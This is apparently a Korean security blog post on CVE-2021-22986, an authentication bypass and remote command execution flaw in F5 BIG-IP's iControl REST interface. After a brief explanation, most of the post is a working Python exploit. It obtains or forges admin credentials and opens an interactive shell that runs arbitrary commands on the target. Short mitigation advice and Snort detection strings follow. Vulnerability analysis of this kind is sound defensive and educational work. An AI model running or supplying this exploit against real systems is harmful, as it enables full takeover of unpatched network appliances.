1. F5 BIG-IP
- F5 : 응용 서비스 및 네트워크 관리 제품 개발을 전문으로 하는 다국적 기업
- BIG-IP : 로컬 및 글로벌 스케일의 인텔리전트 L4-L7 로드 밸런싱 및 트래픽 관리 서비스, 강력한 네트워크 및 웹 애플리케이션 방화벽 보호, 안전하고 연합된 애플리케이션 액세스를 제공하는 어플라이언스 제품
2. CVE-2021-22986
- 취약한 버전의 BIG-IP, BIG-IQ의 iControl REST 인터페이스에서 발생하는 원격 명령어 실행 취약점
- 취약한 버전의 제품 로그인 페이지에만 접근하여도 취약점을 통해 인증 우회 및 원격 명령어 실행이 가능함
2.1) 취약점 분석
- F5 BIG-IP 제품의 Default ID/PW 값은 admin/admin으로 설정되어 있음.
- 원격의 공격자는 Authorization 헤더의 값을 admin(혹은 YWRtaW46YWRtaW4=)로 설정하여 조작된 요청 전송
- 사용자 입력값(ID/PW) 적절한 검증의 부재로 공격자는 관리자의 X-F5-Auth-Token(admin 토큰 값) 값을 알아낼 수 있음
- 해당 토큰 값을 이용해 관리자의 권한으로 원격 명령 수행이 가능.
* YWRtaW46YWRtaW4= base64 디코딩 시 admin:admin
* X-F5-Auth-Token 값을 공백 && Authorization 헤더 값을 admin(혹은 YWRtaW46YWRtaW4=)로 설정한 PoC도 확인
사유 : Authorization헤더를 통해 전달한 ID/PW 값을 통해 admin 권한으로 접근이 가능하기 때문으로 판단.
2.2) PoC
def exploit(url):
target_url = url + '/mgmt/shared/authn/login'
data = {
"bigipAuthCookie":"",
"username":"admin",
"loginReference":{"link":"/shared/gossip"},
"userReference":{"link":"https://localhost/mgmt/shared/authz/users/admin"}
}
headers = {
"User-Agent": "hello-world",
"Content-Type":"application/x-www-form-urlencoded"
}
response = requests.post(target_url, headers=headers, json=data, verify=False, timeout=15)
if "/mgmt/shared/authz/tokens/" not in response.text:
print('(-) Get token fail !!!')
print('(*) Tested Method 2:')
header_2 = {
'User-Agent': 'hello-world',
'Content-Type': 'application/json',
'X-F5-Auth-Token': '',
'Authorization': 'Basic YWRtaW46QVNhc1M='
}
data_2 = {
"command": "run",
"utilCmdArgs": "-c whoami"
}
check_url = url + '/mgmt/tm/util/bash'
try:
response2 = requests.post(url=check_url, json=data_2, headers=header_2, verify=False, timeout=20)
if response2.status_code == 200 and 'commandResult' in response2.text:
while True:
cmd = input("(:CMD)> ")
data_3 = {"command": "run", "utilCmdArgs": "-c '%s'"%(cmd)}
r = requests.post(url=check_url, json=data_3, headers=header_2, verify=False)
if r.status_code == 200 and 'commandResult' in r.text:
print(r.text.split('commandResult":"')[1].split('"}')[0].replace('\\n', ''))
else:
print('(-) Not vuln...')
exit(0)
except Exception:
print('ERROR Connect')
print('(+) Extract token: %s'%(response.text.split('"selfLink":"https://localhost/mgmt/shared/authz/tokens/')[1].split('"}')[0]))
while True:
cmd = input("(:CMD)> ")
headers = {
"Content-Type": "application/json",
"X-F5-Auth-Token": "%s"%(response.text.split('"selfLink":"https://localhost/mgmt/shared/authz/tokens/')[1].split('"}')[0])
}
data_json = {
"command": "run",
"utilCmdArgs": "-c \'%s\'"%(cmd)
}
exp_url= url + '/mgmt/tm/util/bash'
exp_req = requests.post(exp_url, headers=headers, json=data_json, verify=False, timeout=15)
if exp_req.status_code == 200 and 'commandResult' in exp_req.text:
print(exp_req.text.split('commandResult":"')[1].split('"}')[0].replace('\\n', ''))
else:
print('(-) Not vuln...')
exit(0)
if __name__ == '__main__':
title()
if(len(sys.argv) < 2):
print('[+] USAGE: python3 %s https://<target_url>\n'%(sys.argv[0]))
exit(0)
else:
exploit(sys.argv[1])
3. 대응방안
- 최신 버전으로 업데이트
- 상위 보안장비를 통한 접근제어 : 취약점에 사용되는 문자열을 탐지할 수 있는 스노트 룰 적용
Ex) /mgmt/shared/authn/login, /mgmt/tm/util/bash, "command":, "utilCmdArgs": 등
참고
'취약점 > RCE' 카테고리의 다른 글
Spring Cloud Function RCE (CVE-2022-22963) (0) | 2022.11.15 |
---|---|
Apache Struts 2 Namespace RCE (CVE-2018-11776) (1) | 2022.09.29 |
vBulletin Pre-Auth RCE(CVE-2019-16759) (0) | 2022.09.20 |
Bash Shell Shock(CVE-2014-6271) (2) | 2022.09.13 |
bWAPP PHP Code Injection (0) | 2022.07.29 |